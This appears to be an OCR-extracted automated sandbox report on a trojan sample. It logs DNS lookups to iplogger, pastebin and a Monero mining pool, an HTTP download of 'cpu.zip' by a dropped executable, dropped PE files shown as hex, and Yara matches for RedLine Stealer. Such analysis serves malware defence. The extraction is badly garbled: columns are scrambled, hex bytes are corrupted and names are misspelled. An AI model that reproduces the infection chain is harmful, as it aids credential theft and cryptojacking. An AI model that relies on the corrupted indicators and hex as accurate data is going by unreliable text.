192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

Source IP

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

Trans ID

Oxfdal

Oxe4db

Oxe4db

0x9e26

0x9e26

0x38b9

0x4bc7

0x4bc7

0x4bc7

0x4bc7

0x4bc7

0x4bc7

0x4bc7

0x4bc7

0x7a45

0xb386

0x1265

0x1265

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID

Oxfdal

Oxe4db

0x9e26

0x38b9

0x4bc7

0x7a45

0xb386

0x1265

Oxa2ec

Name

iplogger.org

pastebin.com

pastebin.com

blog.agenc
ial0x.com

blog.agenc
ial0x.com

iplogger.org

pool.minex
mr.com

pool.minex
mr.com

pool.minex
mr.com

pool.minex
mr.com

pool.minex
mr.com

pool.minex
mr.com

pool.minex
mr.com

pool.minex

mr.com

api.ip.sb

api.ip.sb

whois.iana.org

ianawhois.
vip.icann.org

OP Code Name
Standard query  iplogger.org
(0)

Standard query  pastebin.com
(0)

Standard query  blog.agenc
0) ial0x.com
Standard query  iplogger.org
(0)

Standard query  pool.minex
0) mr.com
Standard query  api.ip.sb

(0)

Standard query  api.ip.sb

(0)

Standard query  whois.iana.org
(0)

Standard query  WHOIS.RIPE

0) NET
CName Address
88.99.66.31

104.23.99.190

104.23.98.190

172.67.213.210

104.21.67.51

88.99.66.31

88.99.193.240

51.254.84.37

94.130.165.85

51.68.21.186

178.32.120.127

94.130.165.87

94.130.164.163

51.68.21.188

api.ip.sb.cdn.cloudflare.n

et

api.ip.sb.cdn.cloudflare.n
et

ianawhois.vip.icann.org

192.0.47.59

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)
CNAME
(Canonical
name)
CNAME
(Canonical
name)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID
Feb 23, 2021 8.8.8.8 192.168.2.5 Oxa2ec
17:39:46.522680044

CET

HTTP Request Dependency Graph

e 195.2.84.91

HTTP Packets

Session ID Source IP Source Port
0 192.168.2.5 49729
kBytes

Timestamp transferred Direction
Feb 23, 2021 9238 ouT
17:37:53.245167971 CET
Feb 23, 2021 9240 IN
17:37:53.333851099 CET
HTTPS Packets

Source Dest
Timestamp Source IP Port Dest IP Port

Copyright null 2021

Reply Code Name CName Address Type Class
No error (0) WHOIS.RIPE 193.0.6.135 A (IP address)  IN (0x0001)
NET

Destination IP Destination Port Process

195.2.84.91 80 C:\Users\user\AppData\Local\zmgl3v0y.exe

Data

GET /cpu.zip HTTP/1.1
Host: 195.2.84.91
Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 23 Feb 2021 16:37:53 GMT

Content-Type: application/zip

Content-Length: 6296834

Connection: keep-alive

Keep-Alive: timeout=60

Last-Modified: Sat, 20 Feb 2021 21:11:22 GMT

ETag: "601502-5bbch02b93280"

Accept-Ranges: bytes

Data Raw: 50 4b 03 04 14 00 00 00 08 00 01 7a 3a 52 67 77 19 1f bf 02 00 00 €3 08 00 00 Ob 00 00 00 63 6f 6e 66 69 67
2e 6a 73 6f 6e ad 56 c9 6e db 30 10 bd e7 2b 02 9d 43 d7 76 el 16 €8 2d 40 72 4b 51 20 69 51 14 45 61 8c a9 b1 c4 9a
e2 b0 43 ca 4b 8b fc 7b 49 79 89 44 d3 45 Oe 95 01 43 9a c7 19 3d 3e ce a2 3f 57 d7 el 2a c0 aa e2 c3 f5 fe al 33 a8 32
3c 9b 56 eb 9b 17 db 86 78 85 2c 4e 50 87 3c ef 17 14 b5 f7 76 18 02 0d 2c 34 ¢6 c5 4b dO Oe 7b 81 6a 72 3e 98 8b c9 f4
fd 68 1c 7e 93 a2 07 5a e2 08 8e 7b 26 90 12 9d 13 9e 56 68 ce 69 31 3a cf 4a fa ee 55 9e 5b 1c f0 82 d6 93 83 35 1le b0
83 7501 72 55 31 b5 26 al 57 48 d2 c4 6e bf f8 68 f3 ca eb c4 9f c1 94 d4 6¢ 13 cd 8¢ 8a cc c5 e4 66 68 13 b0 de 4e 53
a0 al32c6ecf8f5b7 3fad 16 c2 42 85 2e a3 1b 97 8d e3 01 91 ce bc el ac 59 82 ac 71 fe 8b 72 91 4c db c0 b9 87 93
Oc 5e d6 16 ca b9 65 5c 62 b8 9f 1f 78 4e 06 a2 4a db 5e 3a eb 24 64 dd 56 78 da cf 45 4c fc 54 3e 97 27 1b 01 e8 ce 4f
dc b2 22 56 7e 77 8e 34 d8 10 ef 84 25 d2 99 78 3b 85 3a c3 b1 81 ad f0 35 23 94 4e d4 ca 44 26 93 f1 20 ff 5¢ 73 ee 05
5c 91 99 0a d5 58 9d fO e8 3c 3c d3 62 e3 45 8c ed d4 ef 28 el 6¢ d6 8f 29 cd 9b 71 86 a2 34 42 2b 8f 59 6¢ 05 1b 4b 9b
23303810 b2 68 a4 7e 6d fd 75 99 71 be 23 4d 50 22 67 e4 d6 e0 97 c4 51 83 e2 f6 €3 5d 3f 5b al d4 99 c4 fb c¢7 d6 fa
5b 1b a6 54 5b c2 6b f9 5f 22 6a d6 cd ff a2 53 92 01 8f 42 e3 1a 63 ¢8 c9 d0 4c eb d0 07 2d d3 76 d7 c3 34 55 62 a9 34
Oe 78 15 31 15 63 0a 7f 3f bd f9 65 8b dd 02 d0 15 ed 5d Oe 2e 2f Oc 49 99 3c d2 72 24 75 60 33 5a 4f 47 db 86 55 35 92
d4 7c 78 1b ae 22 5d ee 3a b5 8a 6f 9f be 3c ce bf de 3e 3c dc 7f 9e df de dd 3d de 3f 3d a5 4b 2d b8 c8 b6 d8 a6 40 88 2f
4e 9d 3f c1 8¢ 92 58 83 ab 8f 4a 26 f0 0Oa d1 82 56 6b bc 80 5f 6a 1e 1d €8 3b f5 96 19 b7 80 04 bd 4d 85 6¢ 79 5f b5 19
6a 25 84 8e 60 2e 44 70 24 57 6e 96 77 74 a8 97 22 fc al f4 fd 71 17 af e7 ee ee c7 f1 80 e3 cb 85 57 4d dc de bb 43 89
17 35 82 f6 b5 c8 83 65 a3 92 71 82 61 82 75 9d 6e d6 b3 84 3e 06 el €8 7a 56 b7 73 21 cb 92 91 e5 b5 7b 6d el 84 94 5
247 09 99 d4 8e 44 6 79 eb 7c 85 99 4e 2b 95 ad 91 dd 45 a0 0d b5 95 41 cb 30 5d 18 9a dc 17 44 cc 52 11 a6 41 72 94
45 a8 b5 05 75 32 1c f5 db ¢4 29 35 54 b0 53 4a 90 11 Ob fO 1e 79 77 2a ea e7 ab bf 50 4b 03 04 14 00 00 00 08 00 54 22
5552 75 ch 47 e4 24 1 5f 00 a8 20 69 00 07 00 00 00 63 70 75 2e 65 78 65 ec 5a 67 38 9c c1 16 5e bd 7 le ac 2e da 25
11 2d 08 bb ca ea bd 5b 96 d5 3b 57 09 82 20 08 a2 13 bd 44 59 9d e8 65 b5 25 88 84 10 82 88 16 36 ba 10 5c d1 89 bb
dc de ef cf fb e3 ce b3 fb 9c ef 9b 79 e7 cc 99 73 e6 9d 6f bf 39 ab 65 9e Oc c0 01 00 00 b8 98 ef f5 35 00 dO Oe f8 43 01
01 fe 73 b9 87 05 00 90 b3 75 90 03 9a 89 46 39 da b1 34 47 39 Oc 9d 9c 7d d8 bd bc 3d 1d bd el ee ec b6 70 Of Of 4f 5f
76 1b 7b 76 6f 3f Of 76 67 Of 76 25 1d 03 76 77 4f 3b 7b 61 32 32 62 ee 3f ea f0 Oa 7e fc 59 8¢ 95 31 ea 4f 5f 4f 3f 96 48 el
5b c9 1c f9 f0 56 b2 46 5e 62 64 55 7 52 d4 3d 8¢ 7c el c6 12 79 f7 56 32 47 ca dd 4a d6 c8 22 8c 2c f2 64 89 e4 bd c5
334572 dc ea628a 726561 8c8ac7 el 053172598 76 00 db 0d 8e 2a b2 f7 16 cf 1c 79 ef 56 6e 44 89 df e2 93 30 f2
e6 fe 4e e4 8d d4 77 b6 75 ba bl e7 ef e7 ac ab Oc 00 d8 3d 27 03 9c 4e 52 58

Data Ascii: PKz:Rgwconfig.jsonVn0+Cv-@rKQ iQEaCK{lyDEC=>?W*32<Vx,NP<v,4K{jr>h~Z{&Vhil:JU[5urU1&WHnhl
fANS2?B.YqrL e\bxNJN:$dVXELT>'0"V~w4%x;:5#ND& \s\X<<bE(I)g4B+YIK#08h~mug#MP"gQ]?[[T[k_"jSBcL-v4Ub4x1c?
e]./I<r$u 3ZOGU5|x":0<><=?=K-@/N?XJI&Vk_j;Mly_j% .Dp$Wnwt"qWMC5eqaun>zVs{m$Dy|N+EAQ]DRArEu2)5TSJy
W*PKT"URUG$_ icpu.exeZg8”.%-[;W DYe%6\ys09e5CsuF94G9}=pO_v{vo?vgv%vwO;{a22b?~Y10_O?H[VF"bd
UR=|yV2GJ",d3Erbreal%v*yVnDONwu="NRX

JA3 SSL Client
Fingerprint

Not
Before

Not

Subject Issuer After JA3 SSL Client Digest
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Source

Timestamp Source IP Port

Feb 23, 2021
17:37:24.416266918
CET

88.99.66.31 443

Feb 23, 2021
17:37:24.969533920
CET

104.23.99.190 443

Feb 23, 2021 172.67.213.210 443

17:37:25.282681942
CET

Code Manipulations

Statistics

Behavior

Copyright null 2021

Dest

Dest IP Port

192.168.2.5 49719

192.168.2.5 49720

192.168.2.5 49721

Subject

CN=*.iplogger.org CN=Sectigo
RSA Domain Validation
Secure Server CA, O=Sectigo

Limited, L=Salford,

ST=Greater Manchester,
C=GB CN=USERTrust RSA
Certification Authority, O=The
USERTRUST Network,
L=Jersey City, ST=New

Jersey, C=US

CN=Sectigo RSA Domain
Validation Secure Server CA,
O=Sectigo Limited, L=Salford,
ST=Greater Manchester,

C=GB

CN=USERTrust RSA
Certification Authority, O=The
USERTRUST Network,
L=Jersey City, ST=New

Jersey, C=US

CN-=sni.cloudflaressl.com,
O="Cloudflare, Inc.", L=San
Francisco, ST=CA, C=US
CN=Cloudflare Inc ECC CA-3,
O="Cloudflare, Inc.", C=US

CN=Cloudflare Inc ECC CA-3,
O="Cloudflare, Inc.", C=US

CN-=sni.cloudflaressl.com,
O="Cloudflare, Inc.", L=San
Francisco, ST=CA, C=US
CN=Cloudflare Inc ECC CA-3,
O="Cloudflare, Inc.", C=US

CN=Cloudflare Inc ECC CA-3,
O="Cloudflare, Inc.", C=US

Issuer

CN=Sectigo RSA
Domain Validation
Secure Server CA,
O=Sectigo Limited,
L=Salford,
ST=Greater
Manchester, C=GB

CN=USERTrust RSA

Certification
Authority, O=The
USERTRUST
Network, L=Jersey
City, ST=New
Jersey, C=US
CN=AAA Certificate
Services,
O=Comodo CA
Limited, L=Salford,
ST=Greater
Manchester, C=GB

CN=USERTrust RSA

Certification
Authority, O=The
USERTRUST
Network, L=Jersey
City, ST=New
Jersey, C=US

CN=AAA Certificate
Services,
O=Comodo CA
Limited, L=Salford,
ST=Greater
Manchester, C=GB

CN=Cloudflare Inc
ECC CA-3,
O="Cloudflare, Inc.",
C=US CN=Baltimore
CyberTrust Root,
OU=CyberTrust,
O=Baltimore, C=IE

CN=Baltimore
CyberTrust Root,
OU=CyberTrust,
O=Baltimore, C=IE

CN=Cloudflare Inc
ECC CA-3,
O="Cloudflare, Inc.",
C=US CN=Baltimore
CyberTrust Root,
OU=CyberTrust,
O=Baltimore, C=IE

CN=Baltimore
CyberTrust Root,
OU=CyberTrust,
O=Baltimore, C=IE

Not
Before

Fri Nov
20
01:00:00
CET
2020 Fri
Nov 02
01:00:00
CET
2018
Tue Mar
12
01:00:00
CET
2019

Fri Nov
02
01:00:00
CET
2018

Tue Mar
12
01:00:00
CET
2019

Mon
Aug 17
02:00:00
CEST
2020
Mon Jan
27
13:48:08
CET
2020

Mon Jan
27
13:48:08
CET
2020

Mon
Aug 17
02:00:00
CEST
2020
Mon Jan
27
13:48:08
CET
2020

Mon Jan
27
13:48:08
CET
2020

Not
After

Sun Nov
21
00:59:59
CET
2021
Wed
Jan 01
00:59:59
CET
2031
Mon Jan
01
00:59:59
CET
2029

Wed

Jan 01
00:59:59
CET
2031

Mon Jan
01
00:59:59
CET
2029

Tue Aug
17
14:00:00
CEST
2021
Wed

Jan 01
00:59:59
CET
2025

Wed

Jan 01
00:59:59
CET
2025

Tue Aug
17
14:00:00
CEST
2021
Wed

Jan 01
00:59:59
CET
2025

Wed

Jan 01
00:59:59
CET
2025

JA3 SSL Client
Fingerprint JA3 SSL Client Digest

771,49196-49195- 3b5074b1b5d032e5620f6
49200-49199-159- 9f9f700ff0e
158-49188-49187-

49192-49191-

49162-49161-

49172-49171-157-

156-61-60-53-47-

10,0-10-11-13-35-

23-65281,29-23-

24,0

771,49196-49195- 3b5074b1b5d032e5620f6
49200-49199-159- 9f9f700ff0e
158-49188-49187-

49192-49191-

49162-49161-

49172-49171-157-

156-61-60-53-47-

10,0-10-11-13-35-

23-65281,29-23-

24,0

771,49196-49195- 3b5074b1b5d032e5620f6
49200-49199-159- 9f9f700ff0e
158-49188-49187-

49192-49191-

49162-49161-

49172-49171-157-

156-61-60-53-47-

10,0-10-11-13-35-

23-65281,29-23-

24,0
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@ Securitelnfo.com.Trojan.GenericKD..
@ pg2bsuga.exe

@ zmql3v0y.exe

@ schtasks.exe

@ conhost.exe

@ RantimeBroker.exe

@ cpu.exe

@ conhost.exe

©® RantimeBroker.exe

System Behavior

Click to jump to process

Analysis Process: Securitelnfo.com.Trojan.GenericKD.45754886.17334.exe PID: 2100
Parent PID: 5608

General

Start time: 17:37:19

Start date: 23/02/2021

Path: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKD.45754886.17334.exe
Wow64 process (32bit): true

Commandline: ‘C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.45754886.17334.exe'
Imagebase: 0x2e0000

File size: 2817248 bytes

MDS5 hash: BC584A3BE92CFDFDA79446372FFFA46D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: low

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user read data or list device directory file | object name collision 1 6DB6CF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming read data or list device directory file | object name collision 1 6DB6CF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\pg2bsuga.exe read attributes | device synchronous io  success or wait 1 4DDA33  CreateFileW
synchronize | non alert | non
generic write directory file |
open no recall
C:\Users\user\AppData\Local\zmq|3v0y.exe read attributes | device synchronous io  success or wait 1 4DDA33  CreateFileW
synchronize | non alert | non
generic write directory file |

open no recall
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File Path

Access

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\

Securitelnfo.com.Trojan.GenericKD.45754886.17334.exe.log

File Written

File Path
C:\Users\user\AppData\Local\pg2bsuga.exe

C:\Users\user\AppData\Local\pg2bsuga.exe

Copyright null 2021

read attributes | device

synchronize |
generic write

Offset Length Value

unknown 4096

unknown 4223

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 80 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
24 00 00 00 00 00 00
00 50 45 00 00 4c 01
Ob 00 ee 43 b5 ee 00
00 00 00 00 00 00 00
€0 00 02 01 Ob 01 30
00 00 20 02 00 00 a4
07 00 00 00 00 00 5¢
64 81 00 00 20 00 00
00 40 02 00 00 00 40
00 00 20 00 00 00 04
00 00 05 00 00 00 00
00 00 00 05 00 00 00
00 00 00 00 00 €0 a5
00 00 04 00 00 64 eb
4b 00 02 00 40 80 00
00 10 00 00 10 00 00
00 00 10 00 00 10 00
00 00 00 00 00 10 00
00 00 00 00 00 00 00
00 00

66 85 fc e9 28 8f 27

0f be cc 8f 07 Of bc c8
8b Oe 6 c5 28 8d b6
04 00 00 00 66 81 fe
bf Oc f5 f6 c6 e0 33 cb
3b e5 66 81 fb d4 03

cl 4e 5a 2e 06 5 e9
48 bc 06 00 66 0f b6
45 02 8a 54 25 00 3b
c5 81 ed 02 00 00 00
€993 19 20 00 89 17
9 f8 89 47 04 66 d3
d0 8a e2 8d ad fc ff ff
ff 8b 44 25 00 f6 c3 be
3334066 7 c7 e0
7b 8 f7 dO {7 d8 8 f5
d1 c8 33 d8 f9 03 fO
€9 08 9c fd ff f7 d1 e9
77 30 ff ff €9 60 e7 Ob
00 €9 5b €7 0b 00 a2
caedac5b 87 a2ee
5f 61 d4 7a 01 67 2a
29 ec cd 2383 d5 22
cb d0 59 f9 31 46 8
48 6b f3 23 88 8f d1
6e 95 1c 7e 15 d1 d1
6ff2 1b 61 25 cb ae
96 54 68 ec 39 9a 7c
e3 af 7f 9f 26 af da 9e
56 82 49 a5 2f bl fO
ac e6 a3 8b 77 6b 45
d5 1b Of 6¢ 98 f7 96
98 07 67 95 25 3¢ 97

Attributes

Options

synchronous io
non alert | non
directory file

Ascii

Completion

success or wait

Completion

success or wait

............ 1..L.IThis program

cannot be run in DOS

success or wait

#.. ..Y.l_F.Hk.# n..~..o.a
f9 81 f1 3d 5f be 69 81 %...Th.9.|....&...V.L./.....wk

E...l...g.%<.

Source
Count Address Symbol

1 4DDA33  CreateFilewW

Source
Count Address Symbol

255  6C9B1B4F WriteFile

384  6C9BI1B4F WriteFile
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File Path

C:\Users\user\AppData\Local\pg2bsuqga.exe

C:\Users\user\AppData\Local\zmgI3v0y.exe

Copyright null 2021

Offset Length Value

unknown 349

unknown 4096

78 29 fb c6 02 c7 5a
04 a5 3252 cc d6 72
ba 06 02 c0 72 77 24
9e f9 5d cb 20 5f 7e
ad 44 3f c4 45 48 Of
e4 c5 83 35 46 f3 50
bf e0 6f 6e 55 d8 32
4d 72 86 4b 82 7d 3d
12 a6 81 b8 ed 9f bc
77e2262ef2c344
8d b5 cb 26 22 77 Oc
cacOb3bl7e951e
fb 37 6f df 3f 54 2¢ 60
355 7b 8d 5d Oe cb
b8 39 1c b6 05 05 a8
e5c6 22 f6 d1 2e 7c
06 Of Oe d4 Oa 48 42
2e87al2a7578a7
03 24 4b 92 31 2d 66
af 33 45 36 77 89 a3
61 a7 b0 84 2c 01 01
93 ab dc f8 ff a2 3e 17
47 80 ff 51 82 ab 15 0f
4e 24 bd Oa aa 5d b6
52 e9 62 c1 do 8f 43
7a 9f 55 6a 2d ea 3d
ce b0 83 82 5a ce 3a
5d 3b b0 c7 ec 71 7f
e3 dd 53 6f a8 42 63
20 le bf 82 67 46 cb
10 36 01 95 d5 f9 ac
8d 3508 31 95 61 22
54 al 21 48 62 b8 9d
20 1f b0 87 1e 43 b8
23 38 1d 4b 55 ef bc
c0 bc 14 ed 1b 56 a2

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 80 00 00 00
Oe 1f ba Oe 00 b4 09

cd 21 b8 01 4c cd 21

54 68 69 732070 72
6f 67 72 61 6d 20 63

61 6e 6e 6f 74 20 62

6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d

6f 64 65 2e 0d 0d Oa

2400 00 00 00 00 00
00 50 45 00 00 4c 01
07 00 9d ae 31 60 00
00 00 00 00 00 00 00
€0 00 02 01 Ob 01 Ob
00 00 50 00 00 00 08
00 00 00 00 00 00 58
c0 45 00 00 20 00 00

00 80 00 00 00 00 40
00 00 20 00 00 00 02
00 00 04 00 00 00 00
00 00 00 04 00 00 00
00 00 00 00 00 40 6d
00 00 04 00 00 9c Od

28 00 02 00 40 80 00
00 10 00 00 10 00 00
00 00 10 00 00 10 00
00 00 00 00 00 10 00
00 00 00 00 00 00 00
00 00

Ascii

Completion

X)....Z.2R..r...rw$..]. _~.D success or wait

?.EH....5F.P..onU.2Mr.K .}=

..W.&...D..&"w
,5.4]...9......"..].....HB

Fux. $K.1-f.3E6w..a........
...>.G..Q...N$..].R.b...Cz.

Uj-.=....Z.1];...q...So.Bc ...
gF..6.....5.1.a"T.!Hb.. ....C
#8.KU....... V.
MZ..ooiiiiiicne Q@.....

cannot be run in DOS
mode....
PE..L...1....

S oNT)

.1..L.IThis program

success or wait

Source

Count Address Symbol

1

150

6C9B1B4F WriteFile

6C9B1B4F WriteFile
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File Path Offset

C:\Users\user\AppData\Local\zmgI3v0y.exe unknown 9731

C:\Users\user\AppData\Local\Mi unknown 847

crosoft\CLR_v4.0_32\UsagelLogs\
Securitelnfo.com.Trojan.GenericKD.45754886.17334.exe.log

File Read

File Path
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152
fe02a317a77aeee36903305e8baé\mscorlib.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

Copyright null 2021

Length Value

bl e4 ce 22 64 3d cc
d8 05 9d ba 45 40 34
e4 75 f4 4d 59 68 bl
8a 58 70 ba 38 d3 75
eb 14 9e e6 fb f5 6
1c 1530 a8 28 c0 e3
60 ba 62 f4 20 1d 59
ch 7d 82 f1 36 86 Oa
d8 63 c8 1c 10 6e ac
2fd9 c4 47 bb 11 1a
345be5434d 1b 34
24 bd 1e 4b f9 4e 2b
dd e4 a9 21 e6 8f af
6d e3 15 ac 13 6 83
e4832fe7841af4
ab 08 99 81 28 8f 92
eb 68 e4 9e fe 2b 49
08 2e df Oe 51 c9 fO
3e 57 dd 7 3f b3 bl
48 38 16 b7 ec al 48
ed f1 6e 39 b5 4b 32
1b ee 3d 2d fd d1 13
3b 28 99 74 26 10 0d
78 ¢8 17 04 d7 3c 06
45 45 fb 24 fc 4b 36
287 75 27 €9 b3 4a
90 1c 7a 60 a4 36 67
€6 32 17 1e 2a 35 1f
3037 dl ad 97 4b 61
17 f6 e5 39 18 ec fc
4a 16 ee ff bb c2 bc
93 3f 81 5e 5d 72 23
da 1c 53 26 f5 fb bf 7d
b4 e0 4a 73 56 Oc 45
Oc 44 d7 1a 0f 45 5a
e2 42 02 58 66 06 €6
4354

Ascii

Completion

.."d=....E@4.u.MYh..Xp.8. success or wait
u.........0.(..".b. .Y .}..6...c..

.n./..G...4[.CM.4$..K.N+
M. e (...ho+l

oo QWL Pl ced L R2,

= (& X
<.EE.$.K6(.u".

J..2'.69.2..%5.07...Ka...9...

D..EZ.B.Xf..CT

312c 2266757369 1,fusion","GAC",0..1,"Win success or wait

6f 6e 22 2¢c 22 47 41

4322 2¢ 30 0d 0Oa 31
2c 22 57 69 6e 52 54
22 2c 22 4e 6f 74 41

707022 2c 31 0d Oa
332c2253797374
65 6d 2c 20 56 65 72
73 69 6f 6e 3d 34 2e
30 2e 30 2e 30 2c¢ 20
43 75 6¢ 74 7572 65
3d 6e 657574 72 61
6¢ 2¢c 20 50 75 62 6C
69 63 4b 65 79 54 6f
6b 65 6e 3d 62 37 37
61 35 63 35 36 31 39
3334 65 30 38 39 22
2c 22 43 3a 5¢ 57 69
6e 64 6f 77 73 5¢c 61

73 73 65 6d 62 6¢C 79
5c 4e 61 74 69 76 65
49 6d 61 67 65 73 5f
76 34 2e 30 2e 33 30
3331 395f33325¢

5379 73 74 65 6d 5¢
34 66 30 61 37 65 65
66 61 33 63 64 33 65
3062 61393862 35
65 62 64 64 62 62 63
37 3265 36 5¢ 53 79
73 74 65 6d 2e 6e 69
2e 64 6¢ 6¢ 22 2¢ 30
0d 0a 33 2c 2253 79
73 74 65 6d 2e 43 6f
72 65 2c 20 56 65 72
73 69 6f 6e 3d 34 2e
30 2e 30

RT",
"NotApp",1..3,"System,
Version=4.0.0.0,
Culture=neutral, Pub

lickeyToken=b77a5c5619

34e089",

"C:\Windows\assembly\Nat

ivelma

ges_v4.0.30319_32\Syste

m\4f0a7

eefa3cd3e0ba98b5ebddbb

c72e6\Sy

stem.ni.dll",0..3,"System.C

ore, Version=4.0.0

Offset Length
unknown 4095
unknown 6135
unknown 176
unknown 4095

Completion
success or wait
success or wait

success or wait

success or wait

Count Address

192

1

Count Address

1
1
1

1

Source
Symbol

6C9B1B4F WriteFile

6DE7C907 WriteFile

Source

Symbol
5E4765 ReadFile
5E4765 ReadFile

5E4765 ReadFile

5E4765 ReadFile
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File Path Offset Length Completion

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown 620 success or wait
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown 900 success or wait
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown 748 success or wait
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 8171 end of file
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 success or wait
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 end of file
C:\Windows\System32\drivers\etc\hosts unknown 2 success or wait
C:\Windows\System32\drivers\etc\hosts unknown 998 success or wait
C:\Windows\System32\drivers\etc\hosts unknown 2 success or wait
C:\Windows\System32\drivers\etc\hosts unknown 2 success or wait
C:\Users\desktop.ini unknown 176 success or wait
C:\Users\user\Desktop\desktop.ini unknown 284 success or wait
C:\Users\user\Documents\desktop.ini unknown 404 success or wait
C:\Users\user\Music\desktop.ini unknown 506 success or wait
C:\Users\user\Pictures\desktop.ini unknown 506 success or wait
C:\Users\user\Videos\desktop.ini unknown 506 success or wait
C:\Users\user\Downloads\desktop.ini unknown 284 success or wait
C:\Users\user\Searches\desktop.ini unknown 526 success or wait
C:\Users\user\Contacts\desktop.ini unknown 414 success or wait
C:\Users\user\Favorites\desktop.ini unknown 404 success or wait
C:\Users\user\Links\desktop.ini unknown 506 success or wait
C:\Users\user\Saved Games\desktop.ini unknown 284 success or wait

Source
Count Address Symbol

1 5E4765 ReadFile

1 5E4765 ReadFile

1 5E4765 ReadFile

1 5E4765 ReadFile

5E4765 ReadFile
5E4765 ReadFile
5E4765 ReadFile
5E4765 ReadFile
5E4765 ReadFile
5E4765 ReadFile
5E4765 ReadFile
5E4765 ReadFile
5E4765 ReadFile
5E4765 ReadFile
5E4765 ReadFile
5E4765 ReadFile
5E4765 ReadFile
5E4765 ReadFile
5E4765 ReadFile
5E4765 ReadFile
5E4765 ReadFile
5E4765 ReadFile
5E4765 ReadFile

P R R R R R R R R R R R R R R R R R R R

5E4765 ReadFile

Registry Activities

Key Path Completion

Key Path Name Type Data Completion

Source
Count Address Symbol

Source
Count Address Symbol

Analysis Process: pg2bsuqa.exe PID: 6124 Parent PID: 2100

General

Start time: 17:37:35

Start date: 23/02/2021

Path: C:\Users\user\AppData\Local\pg2bsuga.exe

Wow64 process (32bit): true

Commandline: ‘C:\Users\user\AppData\Local\pg2bsuga.exe’

Imagebase: 0xef0000

File size: 4964504 bytes

MD5 hash: 70DCA411445D3B4394D9C467BF3FF994

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000004.00000003.274701180.00000000008A0000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,

Source:
00000004.00000003.274701180.00000000008A0000.00000004.00000001.sdmp, Author:
Joe Security

Reputation: low

File Activities

Copyright null 2021
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File Created

File Path

C:\Users\user

C:\Users\user\AppData\Roaming

Access

Attributes

read data or list device

directory |
synchronize

read data or list device

directory |
synchronize

Options Completion

directory file | object name collision
synchronous io

non alert | open

for backup ident

| open reparse

point

directory file | object name collision
synchronous io

non alert | open

for backup ident

| open reparse

point

Source

Count Address Symbol

1

1

6DB6CF06 unknown

6DB6CF06 unknown

File Read
Source
